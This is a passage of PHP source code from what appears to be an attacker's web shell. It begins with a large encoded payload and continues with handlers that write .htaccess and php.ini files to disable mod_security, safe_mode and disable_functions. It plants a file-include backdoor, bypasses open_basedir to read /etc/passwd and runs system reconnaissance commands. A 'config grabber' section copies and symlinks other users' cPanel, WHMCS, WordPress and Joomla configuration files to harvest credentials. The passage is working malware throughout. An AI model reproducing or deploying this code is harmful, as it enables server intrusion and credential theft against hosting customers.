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'))); ?></textarea>
983</td>
984</tr>
985<tr>
986<td>
987<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" />
988 </td></tr></table>
989</form>
990
991<?php }
992# x=dmsec1
993elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec1')) {
994@error_reporting(0);
995$htaccess=fopen('.htaccess','w');
996$iniphp=fopen('ini.php','w');
997
998$jablay="<IfModule mod_security.c>
999SecFilterEngine OFF
1000SecFilterScanPOST OFF
1001</IfModule>";
1002$kimcil="<?
1003echo ini_get(\"safe_mode\");
1004echo ini_get(\"open_basedir\");
1005include(\$_GET[\"file\"]);
1006ini_restore(\"safe_mode\");
1007ini_restore(\"open_basedir\");
1008echo ini_get(\"safe_mode\");
1009echo ini_get(\"open_basedir\");
1010include(\$_GET[\"ss\"]);
1011?>";
1012fwrite($htaccess,$jablay);
1013fwrite($iniphp,$kimcil);
1014
1015$kobel="<center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span> <span class='b8'>HTACCESS ]:=O</span></b></nobr><br/><br/><nobr><span class='b9'>Generate htaccess & ini.php Successfully :)</span></nobr><br/><br/><br/></center>";
1016echo $kobel;
1017}
1018
1019# x=dmsec2
1020elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec2')){ ?>
1021<form action="?azzatssins=<?php echo $pwd; ?>&x=dmsec2" method="post">
1022
1023<?php
1024@error_reporting(0);
1025$ayo=fopen('php.ini','w');
1026$blay=" safe_mode = OFF
1027disable_functions = NONE";
1028fwrite($ayo,$blay);
1029$hotel=" <center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span> <span class='b8'>PHP.INI ]:=O</span></b></nobr><br/><br/>
1030<nobr><span class='b9'>Generate php.ini Successfully :)</span></nobr><br/><br/><br/></center>";
1031echo $hotel;
1032}
1033
1034# x=dmsec3
1035elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec3')) {
1036
1037@error_reporting(0);
1038function CleanDir($d){
1039$d=str_replace("\\","/",$d);
1040$d=str_replace("//","/",$d);
1041return $d;
1042}
1043if(isset($_POST['curl_bypass'])){
1044@error_reporting(0);
1045$ch=curl_init("file://$_POST[file_bypass]");
1046curl_setopt($ch,CURLOPT_HEADERS,0);
1047curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
1048$file_out=curl_exec($ch);
1049curl_close($ch);
1050echo "<br/><br/><center><textarea rows='20' style='color:#FF0000;background-color:#000000' cols='70' >".htmlspecialchars($file_out)."</textarea></br></br>";
1051}
1052
1053elseif(isset($_POST['tmp_bypass'])) {
1054tempnam("/home/",$_POST['file_passwd']);
1055 }
1056
1057elseif(isset($_POST['copy_bypass'])) {
1058if(@copy($_POST['file_bypass'],$_POST['dest'])) {
1059@$fh=fopen($_POST['dest'],'r');
1060echo "<textarea rows='20' style='color:#FF0000;background-color:#000000' cols='70'>".htmlspecialchars(@fread($fh,filesize($_POST['dest'])))."</textarea></br></br>";
1061@fclose($fh);
1062 } else echo "<center><br/><br/>
1063<h1>O=:[ BYPASS DENIED ]:=O</h1><br></br>";
1064 }
1065echo "<br/><br/><table style='margin: auto; width: 100%; text-align: center;'><tr>
1066<td colspan='3'> <center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span><span class='b8'>BASEDIR ]:=O</span></b></nobr><br/><br/></center> </td>
1067</tr>
1068<tr>
1069<td>[~] Bypass Basedir cURL [~]</td>
1070<td>[~] Bypass Basedir tempnam() [~]</td>
1071<td>[~] Bypass Basedir copy() [~]</td>
1072</tr>
1073<tr>
1074<td><nobr><form method='post' name='bypasser'>
1075FILE : <input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='file_bypass'> <input type='submit' name='curl_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'></form></td>
1076
1077<td><nobr><form method='post' name='bypasser'>FILE : <input type='text' style='color:#FF0000;background-color:#000000' value='../../../etc/passwd' name='file_bypass'> <input type='submit' style='color:#FF0000;background-color:#000000' name='tmp_bypass' value='Bypass'>
1078</nobr></form>
1079</td>
1080<td><nobr><form method='post' name='bypasser'>FILE COPY TO : <input type='text'style='color:#FF0000;background-color:#000000' style='width: 250px;' name='dest' value='".CleanDir(getcwd())."/maho.txt'> <input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='file_bypass'> <input type='submit' name='copy_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'>
1081</nobr></form>
1082</td>
1083</table>";
1084}
1085
1086# x=dmsec4
1087elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec4')) {
1088
1089function dmprocess() {
1090if(!$win) {
1091$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");
1092}
1093else {
1094$handler = "tasklist";
1095}
1096$ret = myshellexec($handler);
1097if (!$ret) {
1098echo "Can't execute \"".$handler."\"!";
1099}
1100else {
1101if (empty($processes_sort)) {
1102$processes_sort = $sort_default;
1103}
1104$parsesort = parsesort($processes_sort);
1105if(!is_numeric($parsesort[0])) {
1106$parsesort[0] = 0;
1107}
1108$k = $parsesort[0];
1109$ret = htmlspecialchars($ret);
1110if(!$win) {
1111if($pid) {
1112if (is_null($sig)) {$sig = 9;}
1113echo "Sending signal ".$sig." to #".$pid."... ";
1114if (posix_kill($pid,$sig)) {
1115echo "OK.";
1116}
1117else {
1118echo "ERROR.";
1119}
1120}
1121while (ereg(" ",$ret)) {
1122$ret = str_replace(" "," ",$ret);
1123}
1124$stack = explode("\n",$ret);
1125$head = explode(" ",$stack[0]);
1126unset($stack[0]);
1127$prcs = array();
1128
1129foreach ($stack as $line) {
1130if(!empty($line)) {
1131echo "<tr>";
1132$line = explode(" ",$line);
1133$line[10] = join(" ",array_slice($line,10));
1134$line = array_slice($line,0,11);
1135$prcs[] = $line;
1136echo "</tr>";
1137}
1138}
1139}
1140else {
1141
1142while (ereg(" ",$ret)) {
1143$ret = str_replace(" ","",$ret);
1144}
1145while (ereg(" ",$ret)) {
1146$ret = str_replace(" ","",$ret);
1147}
1148while (ereg(" ",$ret)) {
1149$ret = str_replace(" ","",$ret);
1150}
1151while (ereg(" ",$ret)) {
1152$ret = str_replace(" ","",$ret);
1153}
1154while (ereg(" ",$ret)) {
1155$ret = str_replace(" ","",$ret);
1156}
1157while (ereg(" ",$ret)) {
1158$ret = str_replace(" ","",$ret);
1159}
1160while (ereg(" ",$ret)) {
1161$ret = str_replace(" ","",$ret);
1162}
1163while (ereg(" ",$ret)) {
1164$ret = str_replace(" ","",$ret);
1165}
1166while (ereg(" ",$ret)) {
1167$ret = str_replace(" ","",$ret);
1168}
1169while (ereg("",$ret)) {
1170$ret = str_replace("","",$ret);
1171}
1172while (ereg(" ",$ret)) {
1173$ret = str_replace(" ","",$ret);
1174}
1175$ret = convert_cyr_string($ret,"d","w");
1176$stack = explode("\n",$ret);
1177unset($stack[0],$stack[2]);
1178$stack = array_values($stack);
1179$head = explode("",$stack[0]);
1180$head[1] = explode(" ",$head[1]);
1181$head[1] = $head[1][0];
1182$stack = array_slice($stack,1);
1183unset($head[2]);
1184$head = array_values($head);
1185if ($k > count($head)) {
1186$k = count($head)-1;
1187}
1188$prcs = array();
1189foreach ($stack as $line) {
1190if (!empty($line)) {
1191echo "<tr>";
1192$line = explode("",$line);
1193$line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
1194$line[2] = intval(str_replace(" ","",$line[2]))*1024;
1195$prcs[] = $line;
1196echo "</tr>";
1197 }
1198 }
1199 }
1200$head[$k] = "<b>".$head[$k]."</b>".$y;
1201$v = $processes_sort[0];
1202if($processes_sort[1] == "d") {
1203$prcs = array_reverse($prcs);
1204}
1205$tab = array();
1206$tab[] = $head;
1207$tab = array_merge($tab,$prcs);
1208echo "<TABLE height=1 cellSpacing=0 cellPadding=5 width=\"100%\" border=1>";
1209foreach($tab as $i=>$k) {
1210echo "<tr>";
1211foreach($k as $j=>$v) {
1212
1213if($win and $i > 0 and $j == 2) {
1214$v = view_size($v);
1215}
1216echo "<td>".$v."</td>";
1217}
1218echo "</tr>";
1219}
1220echo "</table>";
1221}
1222}
1223
1224echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span> <span class='b8'>PROCESS ]:=O</span></b></nobr><br/><br/>";
1225
1226if($win) {
1227echo "<form method='post'>
1228<select class='inputz' name='windowsprocess'>
1229<option name='systeminfo'>System Info</option>
1230<option name='active'>Active Connections</option>
1231<option name='runningserv'>Running Services</option>
1232<option name='useracc'>User Accounts</option>
1233<option name='showcom'>Show Computers</option>
1234<option name='arptab'>ARP Table</option>
1235<option name='ipconf'>IP Configuration</option></select>
1236<input type='submit' class='inputzbut' name='submitwinprocess' value='View'>
1237</form>";
1238} else {
1239echo "<form method='post'>
1240<select class='inputz' name='nonwindowsprocess'>
1241<option name='passwd'>Passwd</option>
1242<option name='syslog'>Syslog</option>
1243<option name='resolv'>Resolv</option>
1244<option name='hosts'>Hosts</option>
1245<option name='cpuinfo'>Cpuinfo</option>
1246<option name='version'>Version</option>
1247<option name='sbin'>Sbin</option>
1248<option name='interrupts'>Interrupts</option>
1249<option name='lsattr'>lsattr</option>
1250<option name='uptime'>Uptime</option>
1251<option name='fstab'>Fstab</option>
1252<option name='hddspace'>HDD Space</option>
1253</select>
1254<input type='submit' class='inputzbut' name='submitnonwinprocess' value=' >> '></form>";
1255}
1256
1257$windowsprocess = $_POST['windowsprocess'];
1258$nonwindowsprocess = $_POST['nonwindowsprocess'];
1259
1260if ($windowsprocess=="System Info") $winruncom = "systeminfo";
1261if ($windowsprocess=="Active Connections") $winruncom = "netstat -an";
1262if ($windowsprocess=="Running Services") $winruncom = "net start";
1263if ($windowsprocess=="User Accounts") $winruncom = "net user";
1264if ($windowsprocess=="Show Computers") $winruncom = "net view";
1265if ($windowsprocess=="ARP Table") $winruncom = "arp -a";
1266if ($windowsprocess=="IP Configuration") $winruncom = "ipconfig /all";
1267if ($nonwindowsprocess=="Syslog") $winruncom = "cat /etc/syslog.conf";
1268if ($nonwindowsprocess=="Resolv") $winruncom = "cat /etc/resolv.conf";
1269if ($nonwindowsprocess=="Hosts") $winruncom = "cat /etc/hosts";
1270if ($nonwindowsprocess=="Passwd") $winruncom = "cat /etc/passwd";
1271if ($nonwindowsprocess=="Cpuinfo") $winruncom = "cat /proc/cpuinfo";
1272if ($nonwindowsprocess=="Version") $winruncom = "cat /proc/version";
1273if ($nonwindowsprocess=="Sbin") $winruncom = "ls -al /usr/sbin";
1274if ($nonwindowsprocess=="Interrupts") $winruncom = "cat /proc/interrupts";
1275if ($nonwindowsprocess=="lsattr") $winruncom = "lsattr -va";
1276if ($nonwindowsprocess=="Uptime") $winruncom = "uptime";
1277if ($nonwindowsprocess=="Fstab") $winruncom = "cat /etc/fstab";
1278if ($nonwindowsprocess=="HDD Space") $winruncom = "df -h";
1279if (isset($winruncom)) {
1280echo "<table class='cmdbox'><tbody><tr><td colspan='2'><textarea class='output' name='content'>".exe($winruncom)."</textarea></td></tr></table></center>";
1281}
1282if (isset($systeminfo)) {
1283echo "<br><br>";
1284dmprocess();
1285}
1286}
1287
1288 # x=ConfiGrabberPro
1289elseif(isset($_GET['x']) && ($_GET['x'] == 'configrab')) {
1290?>
1291<center><br><form method="post"><input type="hidden" cols="100" rows="100" name="passwd" value="<?php $usr=file("/etc/passwd"); foreach($usr as $usrr) { $str=explode(":",$usrr); echo $str[0]."\n"; } ?>
1292"><br>Your Folder : <input type="text" class="input" name="folfig" size="10" value="confiGrab">
1293<input style="background:#525252;margin:1px;width:15%;padding:0px;color:#fff;border:0;font-weight:bold;" name="conf" value="EXECUTE" type="submit"><br><br></form></center>
1294<?php @ini_set('html_errors',0); @ini_set('max_execution_time',0); @ini_set('display_errors', 0); @ini_set('file_uploads',1);
1295if ($_POST['conf']) {
1296$folfig = $_POST['folfig'];
1297$functions=@ini_get("disable_functions"); if(eregi("symlink",$functions)){die ('<font color=red>Symlnk Has Been Disable...!!!</font>');}
1298@mkdir($folfig, 0755);
1299@chdir($folfig);
1300$htaccess="Options Indexes FollowSymLinks\nDirectoryIndex azzatssins.cyberserkers\nAddType txt .php\nAddHandler txt .php";
1301file_put_contents(".htaccess",$htaccess,FILE_APPEND);
1302$passwd=explode("\n",$_POST["passwd"]);
1303foreach($passwd as $pwd){ $user=trim($pwd);
1304symlink('/','000~ROOT~000');
1305copy('/home/'.$user.'/.my.cnf',$user.' <~ CPANEL');
1306symlink('/home/'.$user.'/.my.cnf',$user.' <~ CPANEL');
1307copy('/home/'.$user.'/.accesshash',$user.' <~ WHMCS.txt');
1308symlink('/home/'.$user.'/.accesshash',$user.' <~ WHMCS.txt');
1309copy('/home/'.$user.'/public_html/suspended.page/index.html',$user.' <~ RESELLER.txt');
1310symlink('/home/'.$user.'/public_html/suspended.page/index.html',$user.' <~ RESELLER.txt');
1311symlink('/home/'.$user.'/public_html/.accesshash',$user.' <~ RESELLER.txt');
1312copy('/home/'.$user.'/public_html/wp-config.php',$user.' <~ WORDPRESS.txt');
1313copy('/home/'.$user.'/public_html/configuration.php',$user.' <~ WHMCS or JOOMLA.txt');
1314copy('/home/'.$user.'/public_html/account/configuration.php',$user.' <~ WHMCS.txt');
1315copy('/home/'.$user.'/public_html/accounts/configuration.php',$user.' <~ WHMCS.txt');
1316copy('/home/'.$user.'/public_html/buy/configuration.php',$user.' <~ WHMCS.txt');
1317copy('/home/'.$user.'/public_html/checkout/configuration.php',$user.' <~ WHMCS.txt');
1318copy('/home/'.$user.'/public_html/central/configuration.php',$user.' <~ WHMCS.txt');
1319copy('/home/'.$user.'/public_html/clienti/configuration.php',$user.' <~ WHMCS.txt');
1320copy('/home/'.$user.'/public_html/client/configuration.php',$user.' <~ WHMCS.txt');
1321copy('/home/'.$user.'/public_html/cliente/configuration.php',$user.' <~ WHMCS.txt');
1322copy('/home/'.$user.'/public_html/clientes/configuration.php',$user.' <~ WHMCS.txt');
1323copy('/home/'.$user.'/public_html/clients/configuration.php',$user.' <~ WHMCS.txt');
1324copy('/home/'.$user.'/public_html/clientarea/configuration.php',$user.' <~ WHMCS.txt');
1325copy('/home/'.$user.'/public_html/clientsarea/configuration.php',$user.' <~ WHMCS.txt');
1326copy('/home/'.$user.'/public_html/client-area/configuration.php',$user.' <~ WHMCS.txt');
1327copy('/home/'.$user.'/public_html/clients-area/configuration.php',$user.' <~ WHMCS.txt');
1328copy('/home/'.$user.'/public_html/clientzone/configuration.php',$user.' <~ WHMCS.txt');
1329copy('/home/'.$user.'/public_html/client-zone/configuration.php',$user.' <~ WHMCS.txt');
1330copy('/home/'.$user.'/public_html/core/configuration.php',$user.' <~ WHMCS.txt');
1331copy('/home/'.$user.'/public_html/company/configuration.php',$user.' <~ WHMCS.txt');
1332copy('/home/'.$user.'/public_html/customer/configuration.php',$user.' <~ WHMCS.txt');
1333copy('/home/'.$user.'/public_html/customers/configuration.php',$user.' <~ WHMCS.txt');
1334copy('/home/'.$user.'/public_html/bill/configuration.php',$user.' <~ WHMCS.txt');
1335copy('/home/'.$user.'/public_html/billing/configuration.php',$user.' <~ WHMCS.txt');
1336copy('/home/'.$user.'/public_html/finance/configuration.php',$user.' <~ WHMCS.txt');
1337copy('/home/'.$user.'/public_html/financeiro/configuration.php',$user.' <~ WHMCS.txt');
1338copy('/home/'.$user.'/public_html/host/configuration.php',$user.' <~ WHMCS.txt');
1339copy('/home/'.$user.'/public_html/hosts/configuration.php',$user.' <~ WHMCS.txt');
1340copy('/home/'.$user.'/public_html/hosting/configuration.php',$user.' <~ WHMCS.txt');
1341copy('/home/'.$user.'/public_html/hostings/configuration.php',$user.' <~ WHMCS.txt');
1342copy('/home/'.$user.'/public_html/klien/configuration.php',$user.' <~ WHMCS.txt');
1343copy('/home/'.$user.'/public_html/manage/configuration.php',$user.' <~ WHMCS.txt');
1344copy('/home/'.$user.'/public_html/manager/configuration.php',$user.' <~ WHMCS.txt');
1345copy('/home/'.$user.'/public_html/member/configuration.php',$user.' <~ WHMCS.txt');
1346copy('/home/'.$user.'/public_html/members/configuration.php',$user.' <~ WHMCS.txt');
1347copy('/home/'.$user.'/public_html/my/configuration.php',$user.' <~ WHMCS.txt');
1348copy('/home/'.$user.'/public_html/myaccount/configuration.php',$user.' <~ WHMCS.txt');
1349copy('/home/'.$user.'/public_html/my-account/client/configuration.php',$user.' <~ WHMCS.txt');
1350copy('/home/'.$user.'/public_html/myaccounts/configuration.php',$user.' <~ WHMCS.txt');
1351copy('/home/'.$user.'/public_html/my-accounts/configuration.php',$user.' <~ WHMCS.txt');
1352copy('/home/'.$user.'/public_html/order/configuration.php',$user.' <~ WHMCS.txt');
1353copy('/home/'.$user.'/public_html/orders/configuration.php',$user.' <~ WHMCS.txt');
1354copy('/home/'.$user.'/public_html/painel/configuration.php',$user.' <~ WHMCS.txt');
1355copy('/home/'.$user.'/public_html/panel/configuration.php',$user.' <~ WHMCS.txt');
1356copy('/home/'.$user.'/public_html/panels/configuration.php',$user.' <~ WHMCS.txt');
1357copy('/home/'.$user.'/public_html/portal/configuration.php',$user.' <~ WHMCS.txt');
1358copy('/home/'.$user.'/public_html/portals/configuration.php',$user.' <~ WHMCS.txt');
1359copy('/home/'.$user.'/public_html/purchase/configuration.php',$user.' <~ WHMCS.txt');
1360
1361copy('/home/'.$user.'/public_html/secure/configuration.php',$user.' <~ WHMCS.txt');
1362copy('/home/'.$user.'/public_html/support/configuration.php',$user.' <~ WHMCS.txt');
1363copy('/home/'.$user.'/public_html/supporte/configuration.php',$user.' <~ WHMCS.txt');
1364copy('/home/'.$user.'/public_html/supports/configuration.php',$user.' <~ WHMCS.txt');
1365copy('/home/'.$user.'/public_html/web/configuration.php',$user.' <~ WHMCS.txt');
1366copy('/home/'.$user.'/public_html/webhost/configuration.php',$user.' <~ WHMCS.txt');
1367copy('/home/'.$user.'/public_html/webhosting/configuration.php',$user.' <~ WHMCS.txt');
1368copy('/home/'.$user.'/public_html/whm/configuration.php',$user.' <~ WHMCS.txt');
1369copy('/home/'.$user.'/public_html/whmcs/configuration.php',$user.' <~ WHMCS.txt');
1370copy('/home/'.$user.'/public_html/whmcs2/configuration.php',$user.' <~ WHMCS.txt');
